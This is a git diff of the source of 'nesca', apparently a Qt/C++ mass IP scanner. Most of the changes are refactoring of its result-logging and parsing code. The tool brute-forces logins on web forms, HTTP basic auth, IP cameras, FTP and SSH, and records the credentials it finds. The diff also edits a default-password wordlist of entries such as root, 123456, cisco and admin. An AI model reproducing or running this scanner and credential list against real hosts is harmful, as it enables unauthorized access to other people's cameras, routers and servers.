fileName[64] = {0}; - if(flag == 666 || flag == 350) strcpy(fileName, "./"RESULT_DIR_NAME"/STRANGE_ERROR.html"); - else if(flag == -22) strcpy(fileName, "./"RESULT_DIR_NAME"/ssh.html"); - else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, "./"RESULT_DIR_NAME"/strange.html"); - else if(flag == 3) strcpy(fileName, "./"RESULT_DIR_NAME"/other.html"); - else if(flag == 7) strcpy(fileName, "./"RESULT_DIR_NAME"/low_loads.html"); - else if(flag == 10) strcpy(fileName, "./"RESULT_DIR_NAME"/LoginForms.html"); - else if(flag == 16) strcpy(fileName, "./"RESULT_DIR_NAME"/FTP.html"); + if(flag == 666 || flag == 350) strcpy(fileName, RESULT_DIR_NAME"/STRANGE_ERROR.html"); + else if(flag == -22) strcpy(fileName, RESULT_DIR_NAME"/ssh.html"); + else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, RESULT_DIR_NAME"/strange.html"); + else if(flag == 3) strcpy(fileName, RESULT_DIR_NAME"/other.html"); + else if(flag == 7) strcpy(fileName, RESULT_DIR_NAME"/low_loads.html"); + else if(flag == 10) strcpy(fileName, RESULT_DIR_NAME"/LoginForms.html"); + else if(flag == 16) strcpy(fileName, RESULT_DIR_NAME"/FTP.html"); else if(flag >= 17 || flag == 11 || flag == 12 - || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, "./"RESULT_DIR_NAME"/Basicauth.html"); + || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, RESULT_DIR_NAME"/Basicauth.html"); FILE *f = fopen(fileName, "r"); if(f == NULL) return true; @@ -489,43 +489,44 @@ char topBuff[1024] = {"<div id=\"tit\"><a href=\"strange.html\">.strange</a> <a void fputsf(char *text, int flag, char *msg) { FILE *file = NULL; + char wew[256] = {0}; if(flag == 0 || flag == 15 || flag == -10) { if(ftsAnom) ftsAnom = __checkFileExistence(flag); - file = fopen("./"RESULT_DIR_NAME"/strange.html", "a"); + file = fopen(RESULT_DIR_NAME"/strange.html", "a"); } else if(flag == 3) { if(ftsOther) ftsOther = __checkFileExistence(flag); - file = fopen("./"RESULT_DIR_NAME"/other.html", "a"); + file = fopen(RESULT_DIR_NAME"/other.html", "a"); } else if(flag == -22) { if(ftsSSH) ftsSSH = __checkFileExistence(flag); - file = fopen("./"RESULT_DIR_NAME"/SSH.html", "a"); + file = fopen(RESULT_DIR_NAME"/SSH.html", "a"); } else if(flag == 7) { if(ftsLL) ftsLL = __checkFileExistence(flag); - file = fopen("./"RESULT_DIR_NAME"/low_loads.html", "a"); + file = fopen(RESULT_DIR_NAME"/low_loads.html", "a"); } else if(flag == 10) { if(ftsLF) ftsLF = __checkFileExistence(flag); - file = fopen("./"RESULT_DIR_NAME"/LoginForms.html", "a"); + file = fopen(RESULT_DIR_NAME"/LoginForms.html", "a"); } else if(flag == 16) { if(ftsFTP) ftsFTP = __checkFileExistence(flag); - file = fopen("./"RESULT_DIR_NAME"/FTP.html", "a"); + file = fopen(RESULT_DIR_NAME"/FTP.html", "a"); } else if(flag >= 17 || flag == 11 || flag == 12 || flag == 13 || flag == 14 || flag == 1 ) { if(ftsBA) ftsBA = __checkFileExistence(flag); - file = fopen("./"RESULT_DIR_NAME"/Basicauth.html", "a"); + file = fopen(RESULT_DIR_NAME"/Basicauth.html", "a"); } else { @@ -675,27 +676,13 @@ void fputsf(char *text, int flag, char *msg) }; } -void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *hl, char *cp) +void putInFile(int flag, const char *ip, char *port, int recd, char *finalstr, char *hl, char *cp) { char log[4096] = {0}, msg[512] = {0}; - if(flag == 0 || flag == 15 || flag == -10) strcpy(msg, "[A]:"); - else if(flag == 3) strcpy(msg, "[S]:"); - else if(flag == 7) strcpy(msg, "[LL]:"); - else if(flag == 2) strcpy(msg, "[P]:"); - else if(flag == 666 || flag == 350) strcpy(msg, "[Strange Error]:"); - else if(flag == 10) strcpy(msg, "[LF]:"); - QTextCodec *codec; - strcat(msg, "<a href=\"http://"); - strcat(msg, ip); - strcat(msg, ":"); - strcat(msg, port); - strcat(msg, "/\"><span style=\"color: #a1a1a1;\">"); - strcat(msg, ip); - strcat(msg, ":"); - strcat(msg, port); - strcat(msg, "</span></a>"); + sprintf(msg, "<a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a>", + ip, port, ip, port); QString resMes(msg); QString strf; @@ -715,7 +702,8 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h strf = codec->toUnicode(finalstr); } else strf = QString(finalstr); - if(flag != 6 && flag != 5 && flag != 4 && flag != 666 && flag != 350) + + if(flag != 6 && flag != 5 && flag != 4) { strcat(msg, " <font color=\"#0084ff\">: </font><font color=\"#ff9600\">"); int sz = strf.size(); @@ -726,31 +714,8 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h stt->doEmitionFoundData(resMes); - - strcpy(log, "<font color=GreenYellow>"); - strcat(log, hl); - strcat(log, "</font>"); - int flr = 40 - strlen(hl); - if(flr > 0) - { - while(flr != 0) - { - strcat(log, " "); - --flr; - }; - } - else strcat(log, " "); - strcat(log, "<span id=\"hostSpan\"><a href=\"http://"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "\"/><font color=MediumSeaGreen>"); - strcat(log, ip); - strcat(log, ":"); - strcat(log, port); - strcat(log, "</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>"); - strcat(log, std::to_string(recd).c_str()); - strcat(log, "</font>"); + sprintf(log, "<span id=\"hostSpan\"><a href=\"http://%s:%s\"/><font color=MediumSeaGreen>%s:%s</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>%d</font>", + ip, port, ip, port, recd); if(flag == 666 || flag == 350) { @@ -795,7 +760,7 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h ZeroMemory(msg, strlen(msg)); } -void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag) +void _specFillerBA(char *hl, const char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag) { char log[512] = {0}; @@ -814,7 +779,7 @@ void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, const char *l fputsf (log , flag, "Basic Authorization"); } -void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) +void _specFillerWF(char *hl, const char *ip, char *port, char *finalstr, char *login, char *pass, int flag) { char log[512] = {0}; @@ -1025,7 +990,7 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key) }; } -void _specWFBrute(char *ip, int port, char *hl, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) +void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) { if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL) { @@ -1194,7 +1159,7 @@ void _specWFBrute(char *ip, int port, char *hl, const char *buff, int flag, char }; } -void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC) +void _specWEBIPCAMBrute(const char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC) { lopaStr lps; ZeroMemory(lps.login, sizeof(lps.login)); @@ -1213,7 +1178,7 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, }; } -void _specBrute(char *cookie, char *ip, int port, +void _specBrute(char *cookie, const char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *cp, int recd) { @@ -1222,10 +1187,7 @@ void _specBrute(char *cookie, char *ip, int port, sprintf(tport, ":%d", port); const lopaStr &lps = BA::_BALobby((string(ip) + string(path)).c_str(), port); - - //if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]"); - //else lps = _BALobby(cookie, ip, port, path, "[NORMAL]"); - + if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); @@ -1352,7 +1314,7 @@ const char *GetTitle(const char* str) return finalstr; } -void _saveSSH(char *ip, int port, int recd, const char *buffcpy) +void _saveSSH(const char *ip, int port, int recd, const char *buffcpy) { if(buffcpy != NULL) { @@ -1442,7 +1404,9 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, { int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst); strcpy(cp, ps.codepage); - if (rh == -1) return -1; + if (rh == -1) { + return -1; + } if(rh <= -2) { flag = ps.flag; @@ -1462,7 +1426,9 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, sprintf(port, "%d", p); if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); - if(flag == -1 || flag == 6) return -1; + if (flag == -1 || flag == 6) { + return -1; + } if(flag == 16) { @@ -2558,59 +2524,59 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps return -2; }; - if(strstri(str, "<form ") != NULL) - { - strcat(ps->headr, " [Login form detected]"); - char *ptr1 = strstri(str, "<form"); - char *ptr2 = strstri(ptr1, "action"); - if(ptr2 != NULL) - { - char *ptr3 = strstri(ptr2, "="); - if(ptr3 != NULL) - { - char *ptr4 = NULL; - char *ptrEnd = NULL; - int sz = 0; - char redirStr[512] = {0}; - if(ptr3[1] == ' ' || ptr3[1] == '"' || ptr3[1] == '\"') - { - ptr4 = _findFirst(ptr3, " \"'\n\r"); - if(ptr4 != NULL) - { - ptrEnd = _findFirst(ptr4 + 1, " \"'\n\r"); - if(ptrEnd != NULL) - { - sz = ptrEnd - ptr4 - 1; - strncpy(redirStr, ptr4 + 1, sz < 512 ? sz : 512); - }; - }; - } - else - { - ptrEnd = _findFirst(ptr3, " \"'\n\r"); - if(ptrEnd != NULL) - { - sz = ptrEnd - ptr3 - 1; - strncpy(redirStr, ptr3 + 1, sz < 512 ? sz : 512); - }; - }; + //if(strstri(str, "<form ") != NULL) + //{ + // strcat(ps->headr, " [Login form detected]"); + // char *ptr1 = strstri(str, "<form"); + // char *ptr2 = strstri(ptr1, "action"); + // if(ptr2 != NULL) + // { + // char *ptr3 = strstri(ptr2, "="); + // if(ptr3 != NULL) + // { + // char *ptr4 = NULL; + // char *ptrEnd = NULL; + // int sz = 0; + // char redirStr[512] = {0}; + // if(ptr3[1] == ' ' || ptr3[1] == '"' || ptr3[1] == '\"') + // { + // ptr4 = _findFirst(ptr3, " \"'\n\r"); + // if(ptr4 != NULL) + // { + // ptrEnd = _findFirst(ptr4 + 1, " \"'\n\r"); + // if(ptrEnd != NULL) + // { + // sz = ptrEnd - ptr4 - 1; + // strncpy(redirStr, ptr4 + 1, sz < 512 ? sz : 512); + // }; + // }; + // } + // else + // { + // ptrEnd = _findFirst(ptr3, " \"'\n\r"); + // if(ptrEnd != NULL) + // { + // sz = ptrEnd - ptr3 - 1; + // strncpy(redirStr, ptr3 + 1, sz < 512 ? sz : 512); + // }; + // }; - if (redirStr[0] != '#') { - if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) - { - redirStrLst->push_back(redirStr); - return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst); - } return -1; - } - return -2; - }; - } - else - { - strcat(ps->headr, " [Form action not found]"); - }; - return 0; - }; + // if (redirStr[0] != '#') { + // if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) + // { + // redirStrLst->push_back(redirStr); + // return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst); + // } return -1; + // } + // return -2; + // }; + // } + // else + // { + // strcat(ps->headr, " [Form action not found]"); + // }; + // return 0; + //}; if(strlen(ps->headr) == 0) { @@ -2624,29 +2590,27 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps strcat(ps->headr, "[No body]"); }; - if(strstr(str, "\r\n\r\n") != NULL) + const char *ptr1 = strstr(str, "\r\n\r\n"); + if( ptr1 != NULL) { - const char *tempStr = strstr(str, "\r\n\r\n"); - if(strlen(tempStr) - 4 >= 250) + if (strlen(ptr1) - 4 >= 15) { - if(strstr(str, "Content-Encoding: gzip") != NULL) - { - strcat(ps->headr, "[GZIP]"); - }; strcat(ps->headr, " [Data: "); - if(strstri(tempStr + 4, "<body") != NULL) + + char *ptr2 = strstri(ptr1 + 4, "<body"); + if (ptr2 != NULL) { - strncat(ps->headr, strstri(tempStr, "<body") + 5, 64); + strncat(ps->headr, ptr2 + 5, 64); } - else if(strstri(tempStr + 4, "<html") != NULL) - { - strncat(ps->headr, strstri(tempStr, "<html") + 5, 64); - } - else if(strstri(tempStr + 4, "</style>") != NULL) - { - strncat(ps->headr, strstri(tempStr, "</style>") + 8, 64); - } - else strncat(ps->headr, tempStr + 4, 64); + else { + ptr2 = strstri(ptr1 + 4, "<html"); + if (ptr2 != NULL) + { + strncat(ps->headr, strstri(ptr1, "<html") + 5, 64); + } + else strncat(ps->headr, ptr1 + 4, 64); + }; + strcat(ps->headr, "]"); } else @@ -2658,7 +2622,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps ++Filt; strcpy(ps->path, "/"); - return 0; + return -1; }; } else diff --git a/login.txt b/login.txt index 25b2450..0bef95e 100644 --- a/login.txt +++ b/login.txt @@ -4,7 +4,6 @@ root 123456 12345 - cisco super meinsm @@ -22,6 +21,8 @@ telecom dreambox master Admin -Root guest -backup \ No newline at end of file +backup +cgadmin +0000 +1111 \ No newline at end of file diff --git a/mainResources.h b/mainResources.h index 1ffa44e..baf7e0b 100644 --- a/mainResources.h +++ b/mainResources.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "base64.h" #include <libssh/libssh.h> @@ -103,8 +103,8 @@ struct PathStr{ }; struct lopaStr{ - char login[128]; - char pass[32]; + char login[128]; + char pass[32]; char other[128]; }; @@ -115,78 +115,78 @@ struct conSTR{ }; class Lexems +{ +public: + int iterationCount, flag; + + Lexems() { - public: - int iterationCount, flag; + iterationCount = 0; + flag = 0; + } - Lexems() - { - iterationCount = 0; - flag = 0; - } + ~Lexems() + { + iterationCount = 0; + } - ~Lexems() - { - iterationCount = 0; - } - - int _header(char *ip, - int port, - const char str[], - Lexems *l, - PathStr *ps, - std::vector<std::string> *lst); + int _header(char *ip, + int port, + const char str[], + Lexems *l, + PathStr *ps, + std::vector<std::string> *lst); - int _filler(int p, - const char *buffcpy, - char* ipi, - int recd, - Lexems *lx, - char *hl); - }; + int _filler(int port, + const char *buffcpy, + char* ip, + int recd, + Lexems *lx, + char *hl); +}; class Connector_old - { - public: - int _Updater(); - -// lopaStr _FTPLobby(char *ip, -// int port, -// PathStr *ps); +{ +public: + int _Updater(); -// lopaStr _BALobby(char *cookie, -// char *ip, -// int port, -// char *path, -// char *method, -// char *data); + // lopaStr _FTPLobby(char *ip, + // int port, + // PathStr *ps); - lopaStr _WFLobby(char *cookie, - char *ip, - int port, - char *methodVal, - char *actionVal, - char *userVal, - char *passVal, - char *formVal); + // lopaStr _BALobby(char *cookie, + // char *ip, + // int port, + // char *path, + // char *method, + // char *data); - lopaStr _IPCameraBLobby(char *ip, - int port, - char *SPEC); + lopaStr _WFLobby(char *cookie, + char *ip, + int port, + char *methodVal, + char *actionVal, + char *userVal, + char *passVal, + char *formVal); - int _SSHLobby(char *ip, - int port, - std::string *buffer); - - void _Connect(void *s); + lopaStr _IPCameraBLobby(char *ip, + int port, + char *SPEC); - int _ConnectToPort(char *ip, - int port, - char *hl); - }; + int _SSHLobby(char *ip, + int port, + std::string *buffer); + + void _Connect(void *s); + + int _ConnectToPort(char *ip, + int port, + char *hl); +}; -extern lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); +extern lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC); //extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method); //extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps); diff --git a/msgcheckerthread.cpp b/msgcheckerthread.cpp index 20edc81..15ae94c 100644 --- a/msgcheckerthread.cpp +++ b/msgcheckerthread.cpp @@ -1,8 +1,8 @@ #include "msgcheckerthread.h" #include "externData.h" #include "mainResources.h" -#include <Utils.h> -#include <Connector.h> +#include "Utils.h" +#include "Connector.h" void MSGCheckerThread::doEmitionShowNewMsg(QString str) { diff --git a/negatives.txt b/negatives.txt index 1bf1b3d..31f8dad 100644 --- a/negatives.txt +++ b/negatives.txt @@ -292,7 +292,6 @@ domain has been registered domain name registration domain registered domainapps.com -sale domeny domeingeregistreerd down for maint diff --git a/nesca_3.cpp b/nesca_3.cpp index 0b14761..4f9f321 100644 --- a/nesca_3.cpp +++ b/nesca_3.cpp @@ -746,19 +746,20 @@ void nesca_3::slotAddPolyLine() if(ME2ScanFlag) { QPainterPath path; - if (DrawerTh_ME2Scanner::polyVect.size() > 0) + if (DrawerTh_ME2Scanner::vecSize > 0) { path.moveTo(DrawerTh_ME2Scanner::polyVect[0]); - for (int i = 1; i < DrawerTh_ME2Scanner::polyVect.size(); ++i) + for (int i = 1; i < DrawerTh_ME2Scanner::vecSize; ++i) { path.lineTo(DrawerTh_ME2Scanner::polyVect[i]); }; }; - + QGraphicsPathItem* itm = new QGraphicsPathItem(path); itm->setPen(pen2i); sceneGraph->addItem(itm); - DrawerTh_ME2Scanner::itmList.push_front(itm); + DrawerTh_ME2Scanner::itmList.push_front(itm); + DrawerTh_ME2Scanner::polyVect.clear(); int u = 0; double uu = 1.0; @@ -778,7 +779,6 @@ void nesca_3::slotAddPolyLine() delete DrawerTh_ME2Scanner::itmList[38]; DrawerTh_ME2Scanner::itmList.pop_back(); }; - }; } @@ -1484,7 +1484,7 @@ void nesca_3::CheckPersKey() if(!chKTh->isRunning()) { - stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); + stt->doEmitionYellowFoundData("[Key check] Starting checker thread..."); chKTh->start(); } else @@ -1500,7 +1500,7 @@ void nesca_3::CheckPersKey(int val = -1) if(!chKTh->isRunning()) { - stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); + stt->doEmitionYellowFoundData("[Key check] Starting checker thread..."); chKTh->start(); } else @@ -1875,7 +1875,7 @@ void nesca_3::slotIRCGetTopic(QString str) int c = 1; -void nesca_3::slotSaveImage() +void nesca_3::slotSaveImage(QAction *qwe) { QObject *smB = this->sender(); int ci = ui->tabMainWidget->currentIndex(); @@ -1960,7 +1960,7 @@ void PieStatView::contextMenuEvent(QContextMenuEvent *event) menuPS->addAction("Save image."); menuPS->popup(event->globalPos()); - connect(menuPS, SIGNAL(triggered()), gthis, SLOT(slotSaveImage())); + connect(menuPS, SIGNAL(triggered(QAction *)), gthis, SLOT(slotSaveImage(QAction *))); } QLabel *msgLbl; @@ -3158,9 +3158,9 @@ void RestoreSession() if (strstr(resStr, "[TIMEOUT]:") != NULL) { const QString &tempLex = loadNescaSetup(resStr, "[TIMEOUT]:"); if(tempLex.toInt() > 0) { - ui->iptoLine_value->setText(tempLex); - ui->iptoLine_value_2->setText(tempLex); - ui->iptoLine_value_3->setText(tempLex); + ui->iptoLine_value->setText(tempLex.simplified()); + ui->iptoLine_value_2->setText(tempLex.simplified()); + ui->iptoLine_value_3->setText(tempLex.simplified()); } } setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr); @@ -3236,7 +3236,7 @@ const char *GetVer() char db[32] = {0}; sprintf(db, "%X-%X", dver, tver); - return std::string(db).c_str(); + return db; } void nesca_3::slotShowRedVersion() @@ -3280,9 +3280,8 @@ void _startMsgCheck() ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000)); - const char *rVer = GetVer(); - QString QVER(rVer); - strcpy(gVER, QVER.toLatin1().data()); + strcpy(gVER, GetVer()); + QString QVER(gVER); ui->logoLabel->setToolTip("v3-" + QVER); ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;"); ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); @@ -3304,7 +3303,7 @@ void _startMsgCheck() if (WSAStartup(0x0101, &wsda)) { stt->doEmitionRedFoundData("WSAStartup failed."); - stt->doEmitionKillSttThread(); + qApp->quit(); }; #endif @@ -3343,8 +3342,7 @@ void nesca_3::mouseMoveEvent(QMouseEvent * event) void nesca_3::exitButtonClicked() { - globalScanFlag = false; - stt->terminate(); + STTTerminate(); #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) WSACleanup(); #endif @@ -3399,12 +3397,10 @@ void nesca_3::STTTerminate() importFileName = ""; startFlag = false; globalScanFlag = false; - - stt->terminate(); + nCleanup(); while(__savingBackUpFile) Sleep(100); - nCleanup(); ui->tabMainWidget->setTabEnabled(0, true); ui->tabMainWidget->setTabEnabled(1, true); ui->tabMainWidget->setTabEnabled(2, true); @@ -3419,6 +3415,7 @@ void nesca_3::STTTerminate() ui->startScanButton_4->setText("Start"); ui->importButton->setText("Import&&Scan"); ui->labelStatus_Value->setText("Idle"); + stt->terminate(); } bool dfLocked = false; diff --git a/nesca_3.h b/nesca_3.h index 81e90a1..7c8a095 100644 --- a/nesca_3.h +++ b/nesca_3.h @@ -21,7 +21,7 @@ #include <qtextcodec.h> #include <qjsondocument.h> #include <libssh/libssh.h> -#include <mainResources.h> +#include "mainResources.h" extern Ui::nesca_3Class *ui; extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, debugFileOK, QOSWait, @@ -89,7 +89,7 @@ protected: void slotOutData(QString str); void slotIncData(QString ip, QString str); void slotShowServerMsg(QString str); - void slotSaveImage(); + void slotSaveImage(QAction *qwe); void slotUpdatePie(); void slotClearLogs(); void slotRestartIRC(); diff --git a/nesca_3.pri b/nesca_3.pri deleted file mode 100644 index ae2c3d0..0000000 --- a/nesca_3.pri +++ /dev/null @@ -1,48 +0,0 @@ -# ---------------------------------------------------- -# This file is generated by the Qt Visual Studio Add-in. -# ------------------------------------------------------ - -# This is a reminder that you are using a generated .pro file. -# Remove it when you are finished editing this file. -message("You are running qmake on a generated .pro file. This may not work!") - - -HEADERS += ./base64.h \ - ./resource.h \ - ./nesca_3.h \ - ./ActivityDrawerTh_HorNet.h \ - ./STh.h \ - ./CheckKey_Th.h \ - ./DrawerTh_QoSScanner.h \ - ./CheckProxy_Th.h \ - ./DrawerTh_HorNet.h \ - ./DrawerTh_GridQoSScanner.h \ - ./DrawerTh_VoiceScanner.h \ - ./DrawerTh_ME2Scanner.h \ - ./darkmap.h \ - ./IRCPinger_Th.h \ - ./oIRC_Th.h \ - ./irc_nmblinker.h \ - ./msgpopup.h -SOURCES += ./ActivityDrawerTh_HorNet.cpp \ - ./base64.cpp \ - ./CheckKey_Th.cpp \ - ./CheckProxy_Th.cpp \ - ./connector.cpp \ - ./darkmap.cpp \ - ./DrawerTh_GridQoSScanner.cpp \ - ./DrawerTh_HorNet.cpp \ - ./DrawerTh_ME2Scanner.cpp \ - ./DrawerTh_QoSScanner.cpp \ - ./DrawerTh_VoiceScanner.cpp \ - ./finder.cpp \ - ./IRCPinger_Th.cpp \ - ./irc_nmblinker.cpp \ - ./main.cpp \ - ./msgpopup.cpp \ - ./nesca_3.cpp \ - ./nesca_startModule.cpp \ - ./oIRC_Th.cpp \ - ./STh.cpp -FORMS += ./nesca_3.ui -RESOURCES += nesca_3.qrc diff --git a/nesca_3.pro b/nesca_3.pro deleted file mode 100644 index cc8aa1d..0000000 --- a/nesca_3.pro +++ /dev/null @@ -1,20 +0,0 @@ -# ---------------------------------------------------- -# This file is generated by the Qt Visual Studio Add-in. -# ------------------------------------------------------ - -TEMPLATE = app -TARGET = nesca_3 -DESTDIR = ../Win32/Release -QT += core widgets gui qml -CONFIG += release -DEFINES += QT_DLL QT_WIDGETS_LIB QT_QML_LIB -INCLUDEPATH += ./GeneratedFiles \ - . \ - ../../../../../../../../Qt/Qt5.0.0/5.0.0/msvc2010/bin -DEPENDPATH += . -MOC_DIR += C:/Qt/Qt5.0.0/5.0.0/msvc2010/bin -OBJECTS_DIR += release -UI_DIR += ./GeneratedFiles -RCC_DIR += ./GeneratedFiles -include(nesca_3.pri) -win32:RC_FILE = nesca_3.rc diff --git a/nesca_3.rc b/nesca_3.rc index 88a9d60a069afc0e6e682ee7f2db04ed440c8496..1980d492bf8e5ee70384d543c8e76c91ee0dab46 100644 GIT binary patch delta 122 zcmX@1enNf2I%c^bhEj%NAk1V)WXNMsV9;Pd7TJ7;`4StW(d7ADhKxp=FLFI*0&-UJ l%TIRT<d|&7$G7<v?><JL%u0S<Mgm4nKEo`v`JKQmCII)aAn*VH delta 122 zcmX@1enNf2I%YWq7H1YmAhcq!V6kLTV9;PtV6g*>Sg`oBY(B$$iH*@<@_a5sMuW{4 sxgIkCIV<_)Cp&O*Ot$0W+x&`mA0tp^B|k4C0i!0LVV2tbPT&?30N;)rh5!Hn diff --git a/nesca_3.ui b/nesca_3.ui index 7ad3c2d..01b2eac 100644 --- a/nesca_3.ui +++ b/nesca_3.ui @@ -1749,7 +1749,10 @@ border-radius: 3px;</string> <property name="font"> <font> <family>Eurostile</family> - <pointsize>9</pointsize> + <pointsize>8</pointsize> + <weight>50</weight> + <bold>false</bold> + <underline>false</underline> </font> </property> <property name="styleSheet"> @@ -1780,8 +1783,8 @@ border-radius: 3px;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:9pt; font-weight:400; font-style:normal;"> -<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;"><br /></p></body></html></string> +</style></head><body style=" font-family:'Eurostile'; font-size:8pt; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Verdana'; font-size:6pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> <number>5</number> @@ -2543,7 +2546,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="cursorWidth"> @@ -3527,7 +3530,7 @@ background-color: #000000;</string> <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> @@ -3663,7 +3666,7 @@ p, li { white-space: pre-wrap; } <string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } -</style></head><body style=" font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;"> +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html></string> </property> <property name="acceptRichText"> diff --git a/nesca_startModule.cpp b/nesca_startModule.cpp index 404fd0f..67e82bd 100644 --- a/nesca_startModule.cpp +++ b/nesca_startModule.cpp @@ -220,8 +220,9 @@ void _SaveBackupToFile() { for(int tCounter = gC; tCounter < flCounter; ++tCounter) { - sprintf(ipRange, "%s-%d.%d.%d.%d\n", - currentIP, ipsendfl[tCounter][0], ipsendfl[tCounter][1], ipsendfl[tCounter][2], ipsendfl[tCounter][3]); + sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n", + ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3], + ipsendfl[tCounter][0], ipsendfl[tCounter][1], ipsendfl[tCounter][2], ipsendfl[tCounter][3]); fputs(ipRange, savingFile); @@ -775,48 +776,65 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) { void _connect() { string ip = ""; - while(globalScanFlag) { - std::unique_lock<std::mutex> lk(Threader::m); - Threader::cv.wait(lk, []{return Threader::ready;}); - if(globalScanFlag == false) break; - if(Threader::threadId > gThreads) { - --Threader::threadId; - return; - } + while (globalScanFlag) { + std::unique_lock<std::mutex> lk(Threader::m); + Threader::cv.wait(lk, []{return Threader::ready; }); + if (Threader::threadId > gThreads || !globalScanFlag) { + --Threader::threadId; + Threader::ready = false; + lk.unlock(); + return; + } - ip = 